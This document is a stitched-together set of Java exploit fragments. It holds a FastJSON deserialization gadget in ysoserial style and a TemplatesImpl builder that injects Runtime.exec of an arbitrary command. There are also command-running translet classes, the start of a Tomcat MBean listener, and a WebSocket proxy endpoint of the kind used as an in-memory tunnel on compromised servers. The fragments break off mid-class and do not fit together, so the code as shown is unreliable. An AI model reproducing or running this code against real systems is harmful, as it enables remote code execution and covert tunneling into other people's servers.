        Reflections.setAccessible(valfield);
        ArrayList arrayList = new ArrayList();
        arrayList.add(Gadgets.createTemplatesImpl(command));
        JSONArray jsonArray = new JSONArray(arrayList);
        valfield.set(val, jsonArray);

        return val;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(FastJSON.class, args);
    }
}

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replace("\\", "\\\\").replace("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

}else if(command.startsWith("classfile:")){
    String path = command.split(":")[1];
    FileInputStream in =new FileInputStream(new File(path));
    classBytes=new byte[in.available()];
    in.read(classBytes);
    in.close();

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class CMD extends AbstractTranslet {

    public CMD() throws IOException {
        Runtime.getRuntime().exec("open -a calculator.app");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

import java.io.IOException;
public class CMD{
    public CMD() throws IOException {
        Runtime.getRuntime().exec("open -a calculator.app");
    }
}

public class Tomcat_mbean_add_listener extends AbstractTranslet implements ServletRequestListener {

import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.*;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

public class ProxyEndpoint extends Endpoint {
    long i =0;
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
    static class Attach {
        public AsynchronousSocketChannel client;
        public Session channel;
    }
    void readFromServer(Session channel,AsynchronousSocketChannel client){
        final ByteBuffer buffer = ByteBuffer.allocate(50000);
        Attach attach = new Attach();
        attach.client = client;
        attach.channel = channel;
        client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
            @Override
            public void completed(Integer result, final Attach scAttachment) {
                buffer.clear();
                try {
                    if(buffer.hasRemaining() && result>=0)
                    {
                        byte[] arr = new byte[result];
                        ByteBuffer b = buffer.get(arr,0,result);
                        baos.write(arr,0,result);
                        ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
                        if (scAttachment.channel.isOpen()) {
                            scAttachment.channel.getBasicRemote().sendBinary(q);
                        }
                        baos = new ByteArrayOutputStream();
                        readFromServer(scAttachment.channel,scAttachment.client);
                    }else{
                        if(result > 0)
                        {
                            byte[] arr = new byte[result];
                            ByteBuffer b = buffer.get(arr,0,result);
                            baos.write(arr,0,result);
                            readFromServer(scAttachment.channel,scAttachment.client);
                        }
                    }
                } catch (Exception ignored) {}
            }
            @Override
            public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
        });
    }
    void process(ByteBuffer z,Session channel)
    {
        try{
            if(i>1)
            {
                AsynchronousSocketChannel client = map.get(channel.getId());
                client.write(z).get();
                z.flip();
                z.clear();
            }
            else if(i==1)
            {
                String values = new String(z.array());
                String[] array = values.split(" ");
                String[] addrarray = array[1].split(":");
                AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
                int po = Integer.parseInt(addrarray[1]);
                InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
                Future<Void> future = client.connect(hostAddress);
                try {
                    future.get(10, TimeUnit.SECONDS);
                } catch(Exception ignored){
                    channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
                    return;
                }
                map.put(channel.getId(), client);
                readFromServer(channel,client);
                channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
            }
        }catch(Exception ignored){
        }
    }
    @Override
    public void onOpen(final Session session, EndpointConfig config) {
        i=0;
        session.setMaxBinaryMessageBufferSize(1024*1024*20);
        session.setMaxTextMessageBufferSize(1024*1024*20);
        session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
            @Override
            public void onMessage(ByteBuffer message) {
                try {
                    message.clear();
                    i++;
                    process(message,session);
                } catch (Exception ignored) {
                }
            }
        });
    }
}